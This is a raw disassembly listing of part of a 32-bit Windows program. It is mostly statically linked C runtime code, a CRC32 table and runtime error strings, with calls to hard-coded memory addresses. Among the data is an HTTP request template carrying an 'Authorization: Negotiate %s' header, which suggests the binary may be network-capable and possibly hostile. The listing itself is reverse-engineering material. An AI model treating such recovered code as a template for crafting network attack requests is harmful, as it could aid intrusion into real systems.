		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2651194h
		nop
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9DC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC70
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	edi
		call	near ptr 2620836h
		nop
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC70, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2620000h
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 280107Dh
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 280107Dh
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DBA14


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2620836h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F74o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset dword_427F48
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FA4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Fo
		mov	eax, offset dword_427F78
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Co
		mov	eax, offset dword_427FA8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428008
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280C4
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280E8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428148
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25E0000h, 25F0000h, 2600000h, 260071Ah, 2610000h, 2610A41h
		dd 2610AB2h, 2610EAAh, 2620000h, 2620836h, 2630000h, 26305BFh
		dd 26307CFh, 2640000h, 2640298h
dword_42703C	dd 26402B3h		; DATA XREF: ___:004231D9r
		dd 2640347h, 26405A0h, 26405DEh, 264074Dh, 2650000h, 2651194h
		dd 2660000h, 26603D9h, 2660834h, 77E75CB5h
dword_427068	dd 2660868h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2660BD6h, 2670000h, 2680000h
dword_427078	dd 2680646h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Cr ...
dword_42707C	dd 2680683h		; DATA XREF: ___:004015E2r
					; sub_410CD6+32r
		dd 2680836h
dword_427084	dd 268098Bh		; DATA XREF: sub_4196BD+B9r
		dd 2680F48h
dword_42708C	dd 2680F9Dh		; DATA XREF: sub_410FF9:loc_41108Ar
dword_427090	dd 2690000h		; DATA XREF: ___:loc_4013DCr
		dd 269034Fh, 2690400h
dword_42709C	dd 269053Fh		; DATA XREF: sub_409B13+2r
		dd 26906E2h, 2690799h
dword_4270A8	dd 2690E09h		; DATA XREF: ___:0040124Dr
					; sub_41A4D2+8Cr
dword_4270AC	dd 26A0000h		; DATA XREF: sub_410CD6:loc_410DC2r
		dd 26A0202h, 26A0E55h
dword_4270B8	dd 26B0000h		; DATA XREF: sub_409B13:loc_40A021r
dword_4270BC	dd 26B03EEh		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
		dd 26C0000h, 26D0000h, 26D050Dh, 26E0000h, 77F7E300h, 77F7E21Fh
		dd 26E046Ch, 26E0680h, 26F0000h, 26F07C5h
dword_4270E8	dd 2700000h		; DATA XREF: sub_410FF9+Br
dword_4270EC	dd 27009E9h		; DATA XREF: sub_418294+36r
		dd 2700BFEh, 2710000h
dword_4270F8	dd 2710442h		; DATA XREF: sub_410F20+3Ar
					; sub_419C65+79r
dword_4270FC	dd 2720000h		; DATA XREF: sub_410E27+23r
					; sub_419C65+3Br
		dd 27215B6h, 2730000h, 2730BA4h, 2740000h, 27408DAh, 2750000h
		dd 27503D7h, 2760000h, 2760B36h, 2760EB9h, 2770000h, 2770120h
		dd 27708A2h, 2770B5Bh, 2780000h
dword_42713C	dd 2780379h		; DATA XREF: sub_416F1B+BCr
		dd 2790000h
dword_427144	dd 27A0000h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar
dword_427148	dd 27A0BB5h		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
		dd 27A0C8Dh
dword_427150	dd 27B0000h		; DATA XREF: sub_417276+56r
		dd 27B0244h, 27C0000h, 27D0000h, 27D07ACh, 27E0000h, 27E0334h
		dd 27E050Ch, 27F0000h, 27F0644h, 2800000h
dword_42717C	dd 280107Dh		; DATA XREF: sub_418B59+13r
					; ___:0042324Er ...
dword_427180	dd 2810000h		; DATA XREF: sub_418C2B+Fr
					; sub_41D834+54r ...
		dd 2811066h, 28114ACh, 281198Fh, 2811C8Ch, 2820000h, 2830000h
		dd 2840000h, 2850000h, 2860000h, 2870000h, 2871C17h, 2871C4Fh
		dd 2880000h, 2880E98h, 2890000h
dword_4271C0	dd 289058Bh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 289065Bh		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28907EEh, 28A0000h, 28A062Ah, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE3+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; sub_40D4B1r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; sub_40D561+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: ___:0040DD34r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: ___:004166B7r
					; ___:004166D2r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
dbl_4276E8	dq 6.103515625e-5	; DATA XREF: sub_417ADE+93r
					; sub_417ADE+308r
dbl_4276F0	dq 2.288818359375e-3	; DATA XREF: sub_417ADE+21r
dbl_4276F8	dq -3.0517578125e-5	; DATA XREF: sub_418685+2Br
flt_427700	dd 9.765625e-4		; DATA XREF: sub_41A4D2+1B0r
flt_427704	dd 8.0			; DATA XREF: sub_41A4D2+1AAr
flt_427708	dd 0.0			; DATA XREF: sub_41A4D2+171r
flt_42770C	dd 1.0e-3		; DATA XREF: sub_41A4D2+168r
dbl_427710	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_427754	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43CBF4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43CBF0o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43CE6Co
dbl_427878	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427880	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427888	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 4
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 10h
dword_4278C0	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 10h
		dd offset sub_422228
		dd offset sub_422232
dword_4278E8	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_4278F8	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 8
		dd offset loc_422599
		dd offset loc_42259D
dword_427920	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 10h
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427938	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427940	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D03Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 4
asc_427C08	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_4235C9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do
		align 8
dword_427C48	dd 0FFFFFFFFh, 423DE5h,	423DE9h	; DATA XREF: sub_423CEC+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
